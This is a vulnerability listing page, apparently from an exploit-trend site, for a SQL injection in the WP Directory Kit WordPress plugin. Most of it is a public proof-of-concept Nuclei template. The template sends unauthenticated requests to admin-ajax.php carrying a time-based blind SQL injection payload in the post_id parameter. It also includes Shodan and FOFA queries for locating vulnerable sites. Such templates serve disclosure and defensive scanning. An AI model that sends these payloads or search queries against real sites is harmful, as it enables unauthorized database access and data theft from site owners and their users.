CVE-2026-135273: WP Directory Kit - SQL Injection

2026-12-04 PoC Public

Description

WP Directory Kit plugin for WordPress <= 1.6.3 contains a SQL injection caused by insufficient escaping of 'post_id' parameter in 'wdk_public_action' AJAX handler, letting unauthenticated attackers extract sensitive database information, exploit requires crafted POST request.

Details

CVE
CVE-2026-135273 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-135273

info:
  name: WP Directory Kit - SQL Injection
  author: 0x_Akoko
  severity: high
  description: |
    WP Directory Kit plugin for WordPress <= 1.6.3 contains a SQL injection caused by insufficient escaping of 'post_id' parameter in 'wdk_public_action' AJAX handler, letting unauthenticated attackers extract sensitive database information, exploit requires crafted POST request.
  impact: |
    Unauthenticated attackers can extract sensitive database information, potentially compromising data confidentiality.
  remediation: |
    Update to a version later than 1.6.3 or latest available version.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-135273
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/b7792254-ab5d-4433-a627-8ea3866120d1
    - https://plugins.trac.wordpress.org/browser/wpdirectorykit/trunk/elementor-elements/classes/wdk-listing-similar-listings.php#L207
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-135273
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 8
    vendor: wpdirectorykit
    product: wp-directory-kit
    shodan-query: http.html:"wpdirectorykit"
    fofa-query: body="wpdirectorykit"
  tags: cve,cve2026,sqli,wp,wp-plugin,wordpress,wpdirectorykit,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-json/wp/v2/wdk-listing?per_page=1&_fields=id HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'regex("\\[\\{\"id\":\\d+", body)'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: listing_id
        group: 1
        regex:
          - '"id":(\d+)'
        internal: true

  - raw:
      - |
        @timeout: 15s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wdk_public_action&page=wdk_frontendajax&function=map_infowindow&listing_post_id={{listing_id}}&custom_layout_id={{clid}}&post_id=0 AND (SELECT 1337 FROM (SELECT(SLEEP(6)))x)

    payloads:
      clid:
        - "2"
        - "3"
        - "6"
        - "7"
        - "8"
        - "15"
        - "20"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'status_code == 200'
          - 'contains(content_type, "json")'
        condition: and
# digest: 4a0a00473045022100eb380c22bd26b2390bd37ffe13b22d10bd6c2a38ff6ba2184ebdfd1690f9efc902203939297f749023bad595811e633de787a97c4cf24453eb3ad525334f2a915747:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life